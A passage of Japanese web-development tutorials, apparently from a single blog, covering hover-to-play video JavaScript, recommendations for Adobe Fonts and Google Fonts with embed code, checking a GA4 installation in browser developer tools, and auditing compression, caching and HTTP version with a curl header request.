JavaScriptでは、ホバー時の動画の再生と停止を制御します。 ✅ ホバーで動画が再生開始✅ ホバー解除で動画は一時停止するが、次回ホバー時に再生位置はそのまま document.addEventListener('DOMContentLoaded', () => { const videos = document.querySelectorAll('.video-container .video'); videos.forEach(video => { const container = video.closest('.video-container'); container.addEventListener('mouseenter', () => { video.play(); // ホバー時に再生開始 }); container.addEventListener('mouseleave', () => { video.pause(); // ホバー解除でも再生位置を保持 }); }); }); 🔹 完成イメージ ホバー前：動画は暗く表示され、再生されない ホバー時：動画が明るくなり、再生が開始される ホバーを外しても、再生位置はそのまま保持 🔹 活用シーン ✅ ポートフォリオサイトでのプロジェクト紹介✅ ECサイトの商品ページでのプロダクトビジュアル✅ 動画サムネイルのアニメーションエフェクト 🔹 まとめ GlowPlay アニメーションは、動画を目立たせながら、ユーザーの興味を引きやすい効果的な手法です。CSSとJavaScriptのシンプルな組み合わせで簡単に実装できるので、ぜひあなたのWebサイトにも取り入れてみてください。 よくある質問（FAQ） Q. ホバーで動画を自動再生する実装方法は？ HTML5のvideo要素にmuted属性とplaysinline属性を設定し、JavaScriptのmouseenterイベントでvideo.play()、mouseleaveイベントでvideo.pause()とvideo.currentTime = 0を実行します。ブラウザの自動再生ポリシーにより、muted属性がないと自動再生がブロックされるため、必ずmutedを指定してください。 Q. 動画のホバーエフェクトにCSSフィルターを使うには？ CSS filterプロパティでbrightness()・contrast()・saturate()などを指定し、hoverの擬似クラスでフィルター値を変更します。通常時にfilter: brightness(0.7)で暗くしておき、ホバー時にfilter: brightness(1)に戻すことで、マウスオーバーで明るくなるエフェクトが実現できます。transitionを設定すれば、滑らかに変化します。 ### [Adobe Fontsおすすめ日本語・英語フォント14選【2026年版】Webデザインに最適](https://codequest.work/adobe-fonts-japanese-english-2025/) Adobe Fontsは、Creative Cloudに含まれるプロ向けのWebフォントサービスです。デザイン性に優れたフォントが豊富に用意され、印刷物からWebデザインまで幅広く活用できます。 本記事では、Adobe Fontsの特長と無料プランの範囲、おすすめの日本語フォント7選・英語フォント7選に加え、明朝体に特化したおすすめ5選、デザインシーン別の組み合わせ例、導入方法を紹介します。 Adobe Fontsとは？無料で使えるフォントサービスの特長 Adobe Fontsとは、Adobeが提供するWebフォントサービスで、Creative Cloudのサブスクリプションに含まれる25,000以上のフォントをWebサイトやデザインに利用できるサービスです。 Adobe Fontsには無料プランと有料プランの2種類があります。無料のAdobe IDを作成するだけで約1,000種類のフォントが利用可能です。ただし、日本語フォントの多くは有料プラン（Creative Cloud契約）でのみ利用できます。 つまり日本語フォントを使うつもりなら、必要なのはフォント単体の購入ではなくCreative Cloudの契約です。どのプランに何が含まれるかはAdobe公式のプラン一覧で確認できます。 Adobe Fontsの主な特長 フォント数が豊富：25,000以上のフォントが利用可能。プロ品質の日本語フォントも多数収録 追加料金なし：Creative Cloud契約に含まれるため、別途フォントライセンスの購入が不要 商用利用OK：Webサイト・印刷物・動画など、契約中であればあらゆる用途で商用利用が可能 CDN配信で高速：Adobe TypeKit CDN経由で配信されるため、自前でフォントファイルをホスティングする必要がない Adobe製品との連携：Photoshop・Illustrator・XDなどのAdobe製品で直接アクティベートして使用可能 プレビューアも作ってありますので、イメージはこちらでも確認できます。 フォントペアリング プレビューア 【日本語】おすすめAdobe Fonts 7選 小塚ゴシック (Kozuka Gothic Pro)：視認性が高く、ビジネスサイトやブログに最適なゴシック体 小塚明朝 (Kozuka Mincho Pro)：和風デザインやエレガントな印象を演出できる明朝体 筑紫ゴシック (Tsukushi Gothic)：シンプルながら個性的なデザインが特徴のゴシック体 筑紫明朝 (Tsukushi Mincho)：伝統的で品のある和風デザインに最適な明朝体 游ゴシック (Yu Gothic)：モダンな印象で、テック系サイトやブログにおすすめ UD新ゴ (UD Shin Go)：ユニバーサルデザイン対応で視認性が非常に高い 貂明朝 (Ten Mincho)：日本の伝統を感じさせるエレガントな明朝体 Adobe Fontsの日本語明朝体おすすめ5選 明朝体は、文字の端に「うろこ」と呼ばれる装飾があり、上品で格調高い印象を与える書体です。和風デザインやブランドサイト、読み物コンテンツに特に適しています。Adobe Fontsには高品質な日本語明朝体が多数収録されており、ここではWebデザインにおすすめの5書体を厳選して紹介します。 フォント名特徴おすすめ用途相性の良い英語フォント小塚明朝 (Kozuka Mincho Pro)可読性が高くバランスの良い正統派明朝体コーポレートサイト、ブログ本文Minion Pro筑紫明朝 (Tsukushi Mincho)伝統的で品格があり、縦組みにも美しい和食・旅館サイト、文芸誌Garamond Premier Pro貂明朝 (Ten Mincho)優美で繊細な線質。日本の美を表現できるファッション、ジュエリー系サイトBaskervilleリュウミン (Ryumin)新聞や書籍で長年使われてきた信頼性の高い明朝体ニュースメディア、出版系サイトTimes New RomanA-OTF 太ミンA101 (Futoming A101)太めのウエイトで見出しに映える明朝体キャッチコピー、バナー見出しPlayfair Display 明朝体と英語フォントを組み合わせる際は、セリフ体（Minion Pro、Baskervilleなど）を選ぶと統一感が出ます。見出しに明朝体、本文にゴシック体という使い分けも効果的です。 【英語】おすすめAdobe Fonts 7選 Proxima Nova：モダンで読みやすく、ビジネスサイトに最適なサンセリフ体 Futura：幾何学的でクリーンなデザイン。ブランドロゴにも人気 Avenir：親しみやすさと洗練された印象を両立したサンセリフ体 Source Sans Pro：Adobe製のオープンソースフォント。シンプルで視認性抜群 Minion Pro：クラシックで上品な印象のセリフ体。長文の読みやすさに定評 Baskerville：エレガントな印象で、ファッション・高級ブランド系サイトに最適 Myriad Pro：洗練されたデザインで、コーポレートサイトやブランドサイトにおすすめ おすすめのフォント組み合わせ例 「フォントの組み合わせが難しい...」という方のために、デザインシーン別のおすすめ組み合わせを紹介します。 用途・印象日本語フォント英語フォントおすすめシーンモダン・洗練小塚ゴシックProxima Novaビジネスサイト、情報メディア和風・上品筑紫明朝Minion Pro和食レストラン、旅館サイト親しみやすさ游ゴシックAvenirカフェ、美容系サイト高級感・エレガンス小塚明朝Baskervilleファッション、ジュエリー系カジュアル・ポップ貂明朝Myriad Proイベント告知、キャンペーン Adobe Fontsの導入方法 Adobe FontsはCreative Cloudに登録していれば、CDN経由で簡単にWebサイトに導入できます。 HTMLでの導入方法（CDN） Adobe Fonts にアクセス 使いたいフォントを選択 「Web用にアクティベート」をクリック 表示される<link>タグをHTMLの<head>内に貼り付け 例）Proxima Novaの場合 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Adobe Fonts CDN導入例</title> <link rel="stylesheet" href="https://use.typekit.net/xxxxxx.css"> <style> body { font-family: "proxima-nova", sans-serif; } </style> </head> <body> <h1>Proxima Nova フォント導入完了</h1> <p>この文章はProxima Novaフォントで表示されています。</p> </body> </html> CSSのみでの導入方法（@import） CSSファイルに直接@importで読み込む方法もあります。 @import url("https://use.typekit.net/xxxxxx.css"); body { font-family: "kozuka-gothic-pro", sans-serif; } 導入時の注意点 無料プラン（Adobe ID登録のみ）では約1,000種類のフォントが利用可能。日本語フォントの大半はCreative Cloud有料プランが必要 フォント名は小文字・ハイフン区切りで指定（例：proxima-nova） 読み込みURL（https://use.typekit.net/xxxxxx.css）は「Web用にアクティベート」後に表示されるコードをそのまま使用 CDN読み込みのため、表示速度への影響を考慮し、使用フォント数は必要最小限に Adobe FontsとGoogle Fontsの違い 比較項目Adobe FontsGoogle Fonts料金無料プラン（約1,000種類）+ Creative Cloud契約で全フォント利用可完全無料フォント数約25,000以上約1,500以上日本語フォントプロ品質のフォントが豊富（明朝体・ゴシック体ともに充実）Noto Sans JP等、種類は限定的商用利用CC契約中は自由に使用可制限なく自由に使用可導入方法CDN（TypeKit）CDN（fonts.googleapis.com） 無料で手軽に使いたいならGoogle Fonts、プロ品質の日本語フォントが必要ならAdobe Fontsが適しています。 ▶ 見出し×本文のフォント組み合わせを実際にプレビューできます → フォントペアリング プレビューア まとめ Adobe FontsはCreative Cloud契約で利用できるプロ向けWebフォントサービス（無料プランでも約1,000種類が利用可能） 日本語フォントはゴシック体と明朝体をデザインの印象に合わせて使い分け 明朝体は和風・高級感のあるデザインに最適。英語セリフ体と組み合わせると統一感が出る 英語フォントはサンセリフ体とセリフ体の組み合わせでメリハリを CDN経由で簡単に導入可能だが、読み込みフォント数は最小限に抑える サイトの印象に合わせたフォントの選び方が、より魅力的なWebデザインにつながります。 よくある質問（FAQ） Q. Adobe Fontsとは何ですか？ Adobe FontsはAdobe Creative Cloudプランに含まれるWebフォントサービスです。プロフェッショナル向けの高品質なフォントが豊富で、Web・印刷両方で使用できます。日本語フォントも充実しています。 Q. Adobe FontsとGoogle Fontsの違いは？ Adobe Fontsは有料（Creative Cloud契約が必要）で高品質なプロ向けフォントが多く、Google Fontsは完全無料で誰でも使えます。Adobe Fontsのフォントはデスクトップアプリでも同期利用でき、Webと印刷の一貫性を保てるのが大きな利点です。 ### [Googleフォントおすすめ日本語・英語14選【2026年版】導入方法も解説](https://codequest.work/google-fonts-japanese-english-2025/) Googleフォントは、Googleが提供する無料のWebフォントサービスです。商用利用も自由で、HTMLに数行追加するだけでサイトのフォントを変更できます。 本記事では、2026年のWebデザインにおすすめの日本語フォント7選・英語フォント7選と、デザインシーン別の組み合わせ例、導入方法を紹介します。 Google Fonts（グーグルフォント）とは？日本語フォントの特長 Google Fonts（グーグルフォント）とは、Googleが無料で提供しているWebフォントサービスです。2010年にサービスを開始し、2026年現在では1,700以上のフォントファミリーが登録されています。すべてオープンソースライセンスで公開されており、個人・商用問わず無料で利用できます。 Google Fontsの日本語フォント（Google Fonts Japanese）は、2018年に正式サポートが開始されました。日本語フォントはファイルサイズが大きいという課題がありましたが、Googleは文字をサブセット化（分割配信）する技術を採用し、必要な文字だけを効率的に読み込む仕組みを実現しています。 Google Fontsで利用できる日本語フォントの主な特長は以下の通りです。 完全無料・商用利用可：ライセンス料は不要で、クライアントワークにも安心して使える CDN配信で高速：GoogleのCDNから配信されるため、自前でフォントファイルをホスティングする必要がない サブセット化による軽量配信：日本語の膨大な文字セットを分割し、ページで使用する文字だけを効率的に読み込む 導入が簡単：HTMLにlinkタグを1行追加するだけで利用開始できる ゴシック体・明朝体・デザイン書体：Noto Sans JP、Noto Serif JP、M PLUS 1pなど、用途に応じた書体が揃っている 【日本語】おすすめGoogleフォント7選 Noto Sans JP：視認性が高く万能なゴシック体。ビジネスサイト・ブログに最適 Noto Serif JP：エレガントな明朝体。和風サイト・伝統的なデザインに M PLUS 1p：シンプルで洗練されたデザイン。ポートフォリオサイトにおすすめ Kosugi Maru：やわらかく親しみやすい丸ゴシック。子供向け・カジュアルなサイトに Sawarabi Mincho：和の雰囲気が漂う明朝体。和食店や和雑貨サイトに最適 Sawarabi Gothic：シンプルで読みやすいゴシック体。ニュースサイトや情報系サイトに Zen Kaku Gothic New：モダンで読みやすいゴシック体。テック系・SaaS系サイトにおすすめ 【英語】おすすめGoogleフォント7選 Roboto：Googleが開発したモダンなサンセリフ体。ビジネスサイトやブログに Open Sans：バランスの取れたデザイン。本文や説明文の長文に最適 Lato：クリーンでプロフェッショナルな印象。サービス紹介や企業サイトに Poppins：幾何学的で親しみやすいデザイン。美容・ファッション系サイトに Merriweather：上品でシックなセリフ体。高級感のあるブランドサイトに Playfair Display：エレガントで印象的なセリフ体。見出しやヒーローセクションに Montserrat：モダンで洗練されたサンセリフ体。見出しやCTAにおすすめ おすすめのフォント組み合わせ例 「デザインに合うフォントがわからない...」という方に向けた、デザインシーン別のおすすめ組み合わせを紹介します。 用途・印象日本語フォント英語フォントおすすめシーンモダン・洗練Noto Sans JPRobotoビジネスサイト、ポートフォリオ和風・上品Sawarabi MinchoMerriweather和食レストラン、旅館サイト親しみやすさKosugi MaruPoppins子供向けサイト、ライフスタイルブログ高級感・エレガンスNoto Serif JPPlayfair Displayファッション、ジュエリー、美容系カジュアル・ポップM PLUS 1pMontserratイベント告知、カフェのサイト Googleフォントの導入方法 Googleフォントは無料で、HTMLに数行追加するだけで導入できます。 linkタグで読み込み（推奨） <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans+JP:wght@400;700&display=swap" rel="stylesheet"> <style> body { font-family: 'Noto Sans JP', sans-serif; } </style> @importで読み込み @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap'); body { font-family: 'Roboto', sans-serif; } 導入時の注意点 日本語フォントはファイルサイズが大きいため、使用するウェイト（太さ）は必要最小限に display=swapを指定してレンダリングブロックを防止 preconnectを使ってDNS解決を高速化（上記コード参照） 使用フォント数は2〜3種類に絞ると表示速度への影響が少ない GoogleフォントとAdobe Fontsの違い 比較項目Google FontsAdobe Fonts料金完全無料Creative Cloud契約が必要（有料）フォント数約1,500以上約25,000以上日本語フォントNoto Sans JP等、基本的なフォントプロ品質のフォントが豊富商用利用制限なく自由に使用可CC契約中は自由に使用可導入の簡単さ非常に簡単（linkタグのみ）CDN設定が必要 手軽に無料で使いたいならGoogleフォント、プロ品質の日本語フォントが必要ならAdobe Fontsが適しています。 Google Fontsのおすすめ日本語フォント比較表 Google Fontsで利用できるおすすめの日本語フォントを、書体の種類・ウェイト数・おすすめの用途で比較しました。フォント選びの参考にしてください。 フォント名書体ウェイト数読みやすさおすすめ用途Noto Sans JPゴシック体9種類★★★★★ビジネスサイト・ブログ・管理画面Noto Serif JP明朝体7種類★★★★☆和風サイト・メディア・エディトリアルM PLUS 1pゴシック体7種類★★★★☆ポートフォリオ・テック系サイトZen Kaku Gothic Newゴシック体5種類★★★★★SaaS・テック系・コーポレートサイトSawarabi Gothicゴシック体1種類★★★★☆ニュースサイト・情報メディアSawarabi Mincho明朝体1種類★★★☆☆和食店・旅館・和雑貨サイトKosugi Maru丸ゴシック体1種類★★★★☆子供向け・カジュアル・ライフスタイル 迷った場合はNoto Sans JPを選ぶのがおすすめです。ウェイトが9種類と最も豊富で、本文から見出しまで1つのフォントファミリーで対応できます。和風デザインやエディトリアル系のサイトにはNoto Serif JP、モダンなテック系サイトにはZen Kaku Gothic Newが適しています。 ▶ 見出し×本文のフォント組み合わせを実際にプレビューできます → フォントペアリング プレビューア まとめ Googleフォントは完全無料・商用利用可のWebフォントサービス 日本語はNoto Sans JPが最も汎用的、英語はRobotoが定番 組み合わせ例を参考に、サイトの印象に合ったフォントを選ぼう 表示速度への影響を考慮し、使用フォント数は2〜3種類に抑える よくある質問（FAQ） Q. Google Fontsとは何ですか？ Google FontsはGoogleが無料で提供するWebフォントサービスです。1600以上のフォントファミリーが利用でき、CDN経由で高速配信されます。日本語フォントも充実しており、Noto Sans JP・M PLUS・ZEN角ゴシックなどが人気です。 Q. Google Fontsの表示速度を改善する方法は？ preconnectでCDNへの事前接続を指定する、使用するウェイト（太さ）を必要最小限に絞る、display=swapパラメータを追加する、の3つが基本です。日本語フォントはファイルサイズが大きいため、特にウェイトの絞り込みが効果的です。 Q. おすすめの日本語Google Fontsは？ ゴシック体ならNoto Sans JP（可読性最高）、丸ゴシックならM PLUS Rounded 1c、明朝体ならNoto Serif JPが定番です。デザイン性重視ならZEN Maru Gothic、手書き風ならYusei Magicがおすすめです。 なお、Yusei Magicのような手書き風の書体をサイトに読み込むのではなく、文字を画像として使いたい場合は、手書き風文字ジェネレーターで画像に書き出せます。 無料フォントで足りない書体が出てきたら、有料も含めて見比べる段階です。 ### [GA4設置後の動作確認｜計測が効いているか自分で確かめる手順](https://codequest.work/google-analytics-complete-guide/) GA4（Googleアナリティクス4）の計測が効いているかどうかは、ブラウザの開発者ツールで collect へのリクエストが飛んでいるかを見れば、その場で判定できます。レポートに数字が出るのを24時間待つ必要はありません。 GA4の動作確認とは、ブラウザからGoogleの計測サーバーへリクエストが実際に送信され、正常なステータスで受理されていることを、自分の目で確認する作業のことです。GA4の管理画面はデータが「届いた後」しか映しません。届いていないのか、届いているのに表示されていないのかは、送信そのものを見ないと切り分けられません。 この記事では、測定ID（G-で始まるID）の取得とタグ設置から始めて、開発者ツールで合否を判定する手順、合格ライン、外れたときの分岐までを一続きで扱います。掲載している判定基準は、すべて筆者が実ブラウザで当サイトを読み込んで確認した実測にもとづいています（実測日 2026年8月2日）。 GA4とは｜UAはすでに終了し、いま計測できるのはGA4だけ GA4とは、Googleが提供する無料のアクセス解析ツールの現行世代で、ページの表示やクリックなどをすべて「イベント」として記録する計測モデルを採用したものです。前世代のユニバーサルアナリティクス（UA）はすでに稼働しておらず、現在Googleアナリティクスと呼ばれているものはGA4を指します。 UAは2023年7月1日に計測停止、2024年7月1日の週にデータもAPIも消えた Google公式のサポート終了アナウンス（Universal Analytics のサポート終了・2026年8月2日取得）には、次の2段階が明記されています。 2023年7月1日：標準のUAプロパティがヒットの処理を停止した（Starting July 1, 2023: Standard Universal Analytics properties stopped processing hits） 2024年7月1日の週：UAプロパティにもAPIにもアクセスできなくなり、データはすべて削除された。読み取り専用アクセスも残っていない（You won't be able to access any Universal Analytics properties or the API (not even with read-only access), and all data will be deleted） つまりUAは「使わなくなったツール」ではなく、プロパティごと存在しなくなったツールです。ウェブ上に残っている UA- で始まるIDを載せた設置手順は、コピーしても1件も計測されません。手元の設置コードに UA- があれば、それは動いていないコードです。 だから「UAとの違い」を学ぶ必要はもうない 比較対象が消えている以上、「UAとGA4はどう違うのか」を学んでも行動は変わりません。いま必要なのは違いの理解ではなく、UA時代の語彙をGA4のどこに読み替えるかという対応表だけです。読み替えが必要な人は、この記事の後半にある対応表だけを見れば足ります。 GA4を設置する｜測定IDの取得からタグ設置まで すでにGA4を設置済みで、確認方法だけを知りたい場合はこの章を飛ばして次の章へ進んでください。 測定IDを取得する（管理 > プロパティ設定 > データストリーム） Google公式ヘルプ（Find your Google tag ID・2026年8月2日取得）は、測定IDについて「通常は G- で始まる英数字の並び」と定義し、取得手順を次のように示しています。 GA4の「管理」を開き、「プロパティ設定」の下にある「データストリーム」をクリックする 対象のデータストリーム名をクリックする 「ストリームの詳細」に表示される測定ID（G- で始まる）をコピーする なお、測定IDを取得するにはそのプロパティで編集者以上の権限が必要である点も公式に明記されています。権限が足りないと、そもそもこの画面にたどり着けません。 公式のGoogleタグ（gtag.js）をhead内のできるだけ上に置く 現行の公式スニペットは次の形です。Google公式の設置ドキュメント（Set up the Google tag with gtag.js・2026年8月2日取得／ページ最終更新 2026年7月30日）の記載と1行ずつ照合しています。G-XXXXXXXXXX の部分を、前項でコピーした自分の測定IDに置き換えてください。 <!-- Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-XXXXXXXXXX"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-XXXXXXXXXX'); </script> 置き場所について、公式は「計測したいすべてのページで、開いた <head> タグの直後に配置する」と指定しています。トラブルシューティングのガイド（Verify and troubleshoot your Google Analytics setup・2026年8月2日取得）でも、設置ミスの代表例として「タグが全ページに入っていない」「<head> 内の可能な限り上に置かれていない」の2つが挙げられています。 なぜ上部でなければならないのか、下の方に置いたときに何が起きるのかは、タグをhead上部に設置するべき理由とパフォーマンス影響で分解しています。設置位置の根拠が知りたい場合はそちらを参照してください。 WordPressでの設置先3パターンと選び方 WordPressでの設置先は実質3つです。どれを選んでも計測は成立しますが、2つ以上を同時にやってしまうと二重計測になります。これがこの記事の後半で扱う症状の最大の原因です。 設置先 向いている人 注意点 テーマの header.php に直接書く テーマを自分で管理していて、PHPを触れる 親テーマを直接編集するとテーマ更新で消える。子テーマで行う 子テーマの functions.php から wp_head フックで出力する テンプレートファイルを汚したくない 他のプラグインの出力と前後するため、head内での位置が下がりやすい Site Kit by Google（プラグイン）に任せる PHPを触らずに済ませたい 既存タグを検出するとコード配置を自動でオフにする（後述） header.php と functions.php の役割分担や、子テーマでの安全な編集手順は WordPress header.phpとfooter.phpの作り方にまとめてあります。テンプレートを直接触るのが初めてなら、先にそちらを読んでから戻ってきてください。 Site Kit by Google はWordPress公式ディレクトリで配布されているGoogle製の公式プラグインです。配布ページのAPI情報（wordpress.org/plugins/google-site-kit・2026年8月2日取得）によれば、バージョン 1.184.0、必要なWordPressは 5.2 以上、必要なPHPは 7.4 以上、最終更新は 2026年7月27日です。 計測が本当に効いているかを自分で確かめる ここがこの記事の本題です。GA4のレポートは反映に時間がかかるため、「数字が出ないのは待ち時間なのか、設置が失敗しているのか」が判断できません。ブラウザの開発者ツールなら、ページを1回読み込むだけで、送信されたかどうかが二値で確定します。 この方法はGoogle自身が公式に案内している確認手段でもあります。前掲のトラブルシューティングガイドは、即座に確認できる手段としてDebugView・Tag Assistant・ブラウザの開発者ツールの3つを挙げ、開発者ツールについては「サイトを移動しながら google-analytics.com/g/collect または analytics.google.com/g/collect へのネットワークリクエストを探す」と説明しています。 手順｜開発者ツールのNetworkを「collect」で絞る 確認したいページをChromeで開く 開発者ツールを開く（表示 > 開発 > デベロッパーツール、またはF12） 「Network」タブを選び、フィルタ欄に collect と入力する その状態でページを再読み込みする 現れたリクエストの Name / Method / Status と、URLの tid= と en= を確認する フィルタを開く前にページを読み込んでしまうと、最初のリクエストを取り逃します。開発者ツールを開いた状態で再読み込みするのが手順として重要です。広告ブロッカーやプライバシー拡張機能を入れている場合は、それ自体がリクエストを止めるため、シークレットウィンドウか拡張機能を無効にしたブラウザで確認してください。 合否ライン早見表 上から順に見て、5項目すべてが合格なら計測は効いています。どこかで外れたら、その行の右端に書いた「次にやること」を1つだけ実行してください。 見る場所 合格 外れたときに起きていること 次にやること（1つだけ） ① collect で絞った結果 /g/collect が1本以上ある タグ未設置／JSエラーで停止／広告ブロッカーが遮断 ページのソースに gtag/js?id=G- があるか確認する。あればConsoleタブのエラーを見る ② リクエストのホスト analytics.google.com または google-analytics.com GA以外の解析ツールを見ている（collect は他社ツールも使う） ホスト名を読み直し、GAのリクエストだけを対象にする ③ URLの tid= 自分の測定ID（G-〜）と完全一致 別プロパティに送っている（テーマとプラグインでIDが違う等） データストリームで正しいIDを再確認し、設置箇所を1つに絞る ④ Method と Status POST で 2xx（実測は 204） 4xx／5xx はリクエストが壊れている 手で書き換えたスニペットを公式の形に戻す ⑤ en=page_view の本数 1ページ表示につきちょうど1本 2本以上は二重計測。0本は設定コマンドが実行されていない 設置箇所を棚卸しして片方を外す（次章の症状③へ） ステータスについて1点補足します。Google公式のトラブルシューティングガイドは「200 OK が送信成功を示す」と書いていますが、実際に返ってくるのは 204 No Content です。204はレスポンス本文を持たない成功ステータスなので、200でなくても問題ありません。判定は「2xxかどうか」で行ってください。この差は、公式の記述だけを見て「200が出ないから失敗だ」と誤判定しやすいところです。 実測サンプル｜実際に飛んだリクエスト 2026年8月2日に、当サイトの記事ページ1枚を実ブラウザで読み込んだときのネットワークログです（パラメータは判定に使うものだけ抜粋）。読者が同じページを開けば、同じ形のリクエストを再現できます。 ### [サイト高速化の設定点検｜圧縮・キャッシュ・HTTP/2をヘッダーで判定](https://codequest.work/web-performance-optimization-guide/) サイトの高速化は、コードを書き換える前に「サーバーが今どう配信しているか」を1回のリクエストで確かめるところから始まります。レスポンスヘッダーの content-encoding・cache-control・HTTPバージョン・画像の content-type という4か所を読めば、転送圧縮・キャッシュ期間・プロトコル・画像フォーマットが現行水準かどうかを、その場で○×で判定できます。 この記事は、高速化の「やることリスト」ではありません。自分のURLを1つ入れてコマンドを打つと、直すべき項目だけが残る点検表です。判定に必要なのは curl だけで、所要は1分もかかりません。サーバーの設定を触れる人はそのまま直しに進めますし、触れない環境の人でも「どこが外れているか」が分かれば管理画面のどの項目を探せばよいかが決まります。 本文に出てくる数値は、すべて2026年8月2日に、公開されているURLへ実際にリクエストして得た結果です。例に使ったURLはどれも誰でも叩けるものなので、同じコマンドを打てば同じ形の答えが返ります（配信側の設定が変われば数値は変わります）。「自分のサイトでは違う値が出た」という状態こそが、この記事で欲しい結果です。 結論｜高速化に手を付ける前に、配信設定の4点をヘッダーで判定する 先に判定表を置きます。この記事でやることは、この4行を埋めるところまでです。○が付いた行は読み飛ばして構いません。×が付いた行に対応する章だけ読めば、その日のうちに直せます。 ヘッダーの見る場所合格ライン外れたときに読む章content-encodingbr / zstd / gzip のいずれかが返っている判定その1・転送圧縮cache-controlHTMLは短い値、静的アセットは長い値で分かれている判定その2・キャッシュHTTPバージョン2 または 3（1.1 のままでない）判定その3・プロトコル画像の content-typeブラウザに応じて image/webp 等が返り vary が付く判定その4・画像配信 なぜ配信レイヤーを先に見るのか 高速化の作業は、大きく2つの層に分かれます。ひとつはHTMLやCSSやJavaScriptを書き換える層。もうひとつは、書き換えたファイルをどう包んで、どう届けるかを決める配信の層です。 配信の層を先に見る理由は3つあります。第一に、効果がサイト全体に一律で及びます。圧縮が効いていないサーバーで圧縮を有効にすれば、すべてのページのすべてのテキストファイルが同時に軽くなります。特定のページを直す作業とは効き方の規模が違います。 第二に、判定が一意に決まります。「この画像は軽くすべきか」には人によって答えが割れますが、「content-encoding の行が返っているか」には割れる余地がありません。返っているか、いないかの二択です。 第三に、ここが外れているとコード側の努力が上に乗りません。CSSを苦労して削っても、そのCSSが無圧縮のまま送られていれば、削った分の何倍もの無駄が毎回転送され続けます。後の章で出てくる実測では、あるCSSファイルが158,262バイトから29,922バイトまで縮みました。1行もコードを触らずに、です。 この記事が扱わないこと 範囲を先に切っておきます。以下は意図的に書きません。同じ記事に全部を詰めると、どれも中途半端になるからです。 Core Web Vitals（LCP・INP・CLS）の定義と目標値。この記事は指標を1つも扱いません。指標が動く前段にある配信設定の状態だけを見ます PageSpeed InsightsやLighthouseのレポートの読み方。ツール側の画面は一切出てきません HTML・CSS・JavaScriptそのものの最適化（不要コードの削除、クリティカルCSS、リソースヒント）。書き換える側の作業は範囲外です それぞれの行き先は、最後から2つ目の章「配信設定が全部○なのに遅いとき」でまとめて案内します。 この記事が使わない数字と、Google公式の言い方 高速化の記事でよく見かける「表示が1秒遅れるとコンバージョン率が7%下がる」という数字を、この記事では使いません。執筆時点（2026年8月2日）に出所とされる調査レポートのPDFを探しましたが、公開されている場所に到達できませんでした。現物を確認できない数字を、自分のサイトの設定を決める根拠にする必要はありません。この記事が根拠にするのは、読者が同じコマンドを打てば再現できる実測だけです。 もうひとつ、「Googleは速度をランキング要因にしているので、遅いサイトは検索で不利になる」という書き方もこの記事では取りません。Googleの発表原文はもっと限定的です。2018年のSearch Centralブログは Speed Update について「will only affect pages that deliver the slowest experience to users and will only affect a small percentage of queries」と書いており、影響を受けるのは最も遅い部類のページと、ごく一部のクエリに限られると明示しています。さらに現行のページエクスペリエンスのドキュメントは、FAQで「There is no single signal.」と述べています。 つまり、配信設定を直す動機は「順位が上がるから」ではなく「訪問者の待ち時間と転送量が実際に減るから」です。この記事の合否ラインもそこに置きます。出典はGoogle Search Central Blog「Using page speed in mobile search ranking」とGoogle Search Central「Understanding page experience in Google Search results」（いずれも英語版・2026年8月2日取得）です。 レスポンスヘッダーで分かること｜圧縮・キャッシュ・プロトコル・画像形式 ブラウザがサーバーからファイルを受け取るとき、中身（本文）の手前にレスポンスヘッダーという短いテキストが付いてきます。ここには「この中身をどう圧縮したか」「どれだけの間キャッシュしてよいか」「どの形式で返したか」といった、配信側の判断が書かれています。ブラウザはこれを読んで挙動を決めます。 逆に言えば、ヘッダーを読むと配信側の設定がそのまま見えます。管理画面にログインしなくても、サーバーの中を見なくても、外から1回叩けば分かります。この記事で使うのは次の4か所だけです。 見る場所答えてくれる問い外れているときに起きることcontent-encodingテキストは圧縮されて送られているかHTML・CSS・JSが数倍のバイト数のまま毎回転送されるcache-control再訪問時に再ダウンロードされるか変わっていないファイルを毎回取り直す、または更新したのに古いまま出るHTTPバージョン1接続で並行してやり取りできているかリクエスト数が多いページで待ち行列ができる画像の content-typeブラウザに合わせた形式で返しているか対応ブラウザにも重い方の形式を送り続ける 各ヘッダーの仕様上の定義は、MDNのContent-Encoding、Cache-Control、Accept-Encoding、Vary の各ページが一次情報です（2026年8月2日にいずれも到達を確認）。 手順｜curl 1コマンドで自分のサイトを判定する 使うのは次の1本です。末尾のURLを自分のサイトのものに差し替えてください。macOSとWindows 10以降には curl が最初から入っています。 curl -sS -D - -o /dev/null \ -H 'Accept-Encoding: br, gzip, zstd' \ -w 'http_version=%{http_version} bytes=%{size_download}\n' \ https://example.com/assets/style.css オプションの意味は次のとおりです。ここを理解しておくと、結果が想定と違ったときに自分で切り分けられます。 オプション何をしているか省くとどうなるか-D -レスポンスヘッダーを標準出力へ書き出すヘッダーが見えず判定できない-o /dev/null本文を捨てる（ヘッダーだけ見たいため）CSSやHTMLの中身が画面に流れて読めない-H 'Accept-Encoding: …'受け取れる圧縮形式をこちらから宣言するcurlの既定では圧縮を要求せず、無圧縮で返る場合がある-w '…'HTTPバージョンと転送バイト数を最後に1行で出すプロトコルと実サイズが分からない-sS進捗表示を消し、エラーだけは表示するプログレスバーが混ざって読みにくい 実際に公開URLへ打った結果です。対象は https://www.php.net/styles/theme-base.css（2026年8月2日実行）。判定に使う行だけ抜き出しています。 HTTP/2 200 content-type: text/css vary: Accept-Encoding cache-control: public, max-age=2592000 content-encoding: zstd http_version=2 bytes=7595 この5行だけで4項目のうち3つが確定します。content-encoding: zstd なので圧縮は○。cache-control: public, max-age=2592000 は静的アセットとして妥当な長さなので○。http_version=2 なのでプロトコルも○。残るは画像だけです。読み方さえ分かれば、判定にかかる時間は数秒です。 curl -I（HEAD）で判定してはいけない ヘッダーだけ見たいときに curl -I を使う人は多いのですが、圧縮の判定には使えません。-I はHEADリクエストを送りますが、HEADに対しては content-encoding を返さないサーバーが実在します。 同じURL（https://web.dev/articles/vitals）に、同じ Accept-Encoding を付けてHEADとGETを1回ずつ投げた結果です（2026年8月2日実行）。 curl -I（HEAD）のとき HTTP/2 200 content-type: 